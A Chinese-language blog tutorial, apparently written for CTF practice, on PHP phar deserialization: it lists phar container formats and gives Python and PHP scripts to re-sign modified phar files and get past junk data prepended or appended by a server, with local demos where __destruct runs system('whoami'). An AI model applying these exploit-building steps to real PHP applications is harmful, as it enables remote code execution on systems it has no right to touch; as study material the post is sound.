前言
这个知识点记在脑子里拖欠很久了,上班摸鱼(
什么是phar反序列化我就不讲了。
一、Phar支持的格式
- zip.zip.phar.zip
- tar.tar.phar.tar.pahr..tar.gz.phar.tar.bz
- phar.phar.phar.bz2 生成命令:bzip2 phar.phar
了解一下就好了
二、绕过文件头部的脏数据(我们可以修改内容)
假如遇到绕wakeup的phar反序列化,我们需要修改phar文件的内容,那我们只需要重新计算一下签名,然后把计算完签名后的phar文件的脏数据删掉,然后上传就行了。
重新计算签名的脚本如下
1 2 3 4 5 6 7 8 9 10 11
| import hashlib
with open('phar.phar', 'rb') as f: content = f.read()
text = content[:-28] end = content[-8:] sig = hashlib.sha1(text).digest()
with open('phar_new.phar', 'wb+') as f: f.write(text + sig + end)
|
就是在中间加上一段哈希而已。我一向追求实践,所以我就本地搭个环境吧,每次搭phar环境一堆屁事
三、绕过文件头部脏数据(数据修改在服务端)
上述修改wakeup是我们可以修改文件内容,假如遇到了一种情况,就是上传文件后,他再往前面假如一段脏数据,而且数据内容我们已知,在这种情况下就不可以用上述方法了,我们需要用phardata去加上已知脏数据,重新计算签名,然后在删掉脏数据,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class flag{ } $a=new flag;
$dirtydata = "dirty";
$phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub($dirtydata."<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a);
$phar->addFromString("anything" , "test"); $phar->stopBuffering(); $exp = file_get_contents("./phar.phar"); $post_exp = substr($exp, strlen($dirtydata)); $exp = file_put_contents("./break_phar.phar",$post_exp); ?>
|
这里有一部分细节的,就是,我们不能用记事本打开手动删除,不知道为什么这样会破坏数据,我们需要用php代码去修改,上述脚本会生成一个phar,这个phar是包含了脏数据计算了一次签名,然后把脏数据删了,生成新phar,然后再触发phar反序列化的时候加上脏数据就可以正常rce了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php highlight_file(__FILE__); class flag{ public function __destruct() { system("whoami"); } } $dirty="dirty"; $old=file_get_contents("./phar/break_phar.phar"); $new=$dirty.$old; file_put_contents("./phar/new.phar",$new); file_get_contents("phar://./phar/new.phar") ?>
|
四、绕过文件尾部的脏数据
绕过文件尾部的脏数据就不需要什么操作了,也不需要已知内容,我们可以使用tar格式自动忽略,因为tar格式有暂停解析位,在之后添加的数据都不会解析的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class flag{ } $a=new flag;
$dirtydata = "dirty";
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR); $phar->startBuffering(); $phar->setMetadata($a);
$phar->addFromString($dirtydata , "test"); $phar->stopBuffering(); $exp = file_get_contents("./phar.tar"); $post_exp = substr($exp, strlen($dirtydata)); $exp = file_put_contents("./break_phar.phar",$post_exp); ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php error_reporting(0); highlight_file(__FILE__); class flag{ public function __destruct() { system("whoami"); } } $dirty="dirty"; $old=file_get_contents("./phar/phar.tar"); $new=$old.$dirty; file_put_contents("./phar/new.tar",$new); file_get_contents("phar://./phar/new.tar") ?>
|
五、绕过前面已知脏数据同时绕过末尾未知脏数据
还是一样的嘛,就用tar格式就好啦。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class flag{ } $a=new flag; $dirtydata="dirty"; $phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR); $phar->startBuffering(); $phar->setMetadata($a);
$phar->addFromString($dirtydata , "test"); $phar->stopBuffering();
$exp = file_get_contents("./phar.tar"); $post_exp = substr($exp, strlen($dirtydata)); $exp = file_put_contents("./break_phar.tar",$post_exp); ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php error_reporting(0); highlight_file(__FILE__); class flag{ public function __destruct() { system("whoami"); } } $front="dirty"; $dirty="dirty"; $old=file_get_contents("./phar/break_phar.tar"); $new=$front.$old.$dirty; file_put_contents("./phar/new.tar",$new); file_get_contents("phar://./phar/new.tar") ?>
|